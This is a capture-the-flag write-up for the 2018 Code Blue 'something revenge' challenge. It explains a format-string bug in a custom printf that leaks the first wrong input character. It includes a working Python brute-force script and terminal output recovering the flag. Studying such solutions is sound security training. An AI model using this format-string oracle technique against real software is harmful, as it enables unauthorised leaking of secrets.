Code Blue CTF Quals 2018: "something revenge" writeup

This task consisted of exploiting a program whose main purpose seems to be to read some input and compare it to the flag. To perform this operation, the program uses multiple threads and does some other suspicious things, but I didn’t use these for solving it (and in fact, the author confirms that the following solution was unintended).

Most of the code is irrelevant, except for the following snippet of the reconstructed C code that does the actual comparison:

for (i = 0; i < len_flag; ++i) {
  if (globals->input[i] != flag[i]) {
    myprintf(globals->input);
    myprintf(" is not right.\n");
    return 0;
  }
}
myprintf(":)\n");

Here, myprintf() is a custom function similar to the standard C printf(), but much less powerful: All it supports are the specifiers %d, %c, %n. Just like with the normal printf(), passing the input to myprintf() as a format string is a bug: It allows the attacker (i.e., us) to leak register and stack contents by including format specifiers in the input. While %n is in principle usable to obtain code execution, the lack of positional arguments and long integers (all the specifiers used only the lower 32 bits) made me look for information leaks instead. (I also found that the %n was incorrectly implemented, which was probably part of the intended solution…)

And indeed it turns out that the accessible arguments for the vulnerable myprintf() call include the value of the last character taken from the user input, namely globals->input[i], in %edx! Since the error is printed after the first mismatch, this implies the server will, on input some_guess%d %d, leak the value of the first wrong character in some_guess. By ending some_guess with a non-printable “canary” character (I used 0x7f), we can transform this oracle into one that tells us whether some_guess is a prefix of the flag or not. From there on we do the usual character-wise brute-force search:

smth_chal@pwn-2:~$ cat >/tmp/tI74PPOWq56zNOBL
#!/usr/bin/env python3
import subprocess, string

alph = string.ascii_letters + string.digits + string.punctuation + string.whitespace

def o(g):
    q = ''.join(g).encode() + b'\x7f%d %d\n'
    p = subprocess.Popen('/home/smth_revenge/smth_revenge', stdin = subprocess.PIPE, stdout = subprocess.PIPE)
    s, e = p.communicate(q)
    assert not e
    return b' 127 is not right' in s

flag = []
while not flag or flag[-1] != '}':
    flag.append(None)
    for x in alph:
        flag[-1] = x
        print('\r\x1b[K{}'.format(''.join(flag)), end = '')
        if o(flag):
            print('\r\x1b[K{}'.format(''.join(flag)))
            break
    else:
        print('this should not happen ._.')
        exit()

smth_chal@pwn-2:~$ chmod +x /tmp/tI74PPOWq56zNOBL
smth_chal@pwn-2:~$ /tmp/tI74PPOWq56zNOBL
C
CB
CBC
CBCT
CBCTF
CBCTF{
CBCTF{D
CBCTF{Db
CBCTF{DbD
CBCTF{DbD:
CBCTF{DbD: 
CBCTF{DbD: D
CBCTF{DbD: De
CBCTF{DbD: Dea
CBCTF{DbD: Dead
CBCTF{DbD: Dead 
CBCTF{DbD: Dead b
CBCTF{DbD: Dead by
CBCTF{DbD: Dead by 
CBCTF{DbD: Dead by D
CBCTF{DbD: Dead by Da
CBCTF{DbD: Dead by Day
CBCTF{DbD: Dead by Dayt
CBCTF{DbD: Dead by Dayti
CBCTF{DbD: Dead by Daytim
CBCTF{DbD: Dead by Daytime
CBCTF{DbD: Dead by Daytime 
CBCTF{DbD: Dead by Daytime S
CBCTF{DbD: Dead by Daytime Su
CBCTF{DbD: Dead by Daytime Sun
CBCTF{DbD: Dead by Daytime Sun 
CBCTF{DbD: Dead by Daytime Sun l
CBCTF{DbD: Dead by Daytime Sun lo
CBCTF{DbD: Dead by Daytime Sun lol
CBCTF{DbD: Dead by Daytime Sun lolo
CBCTF{DbD: Dead by Daytime Sun lolol
CBCTF{DbD: Dead by Daytime Sun lololo
CBCTF{DbD: Dead by Daytime Sun lololol
CBCTF{DbD: Dead by Daytime Sun lololol}
smth_chal@pwn-2:~$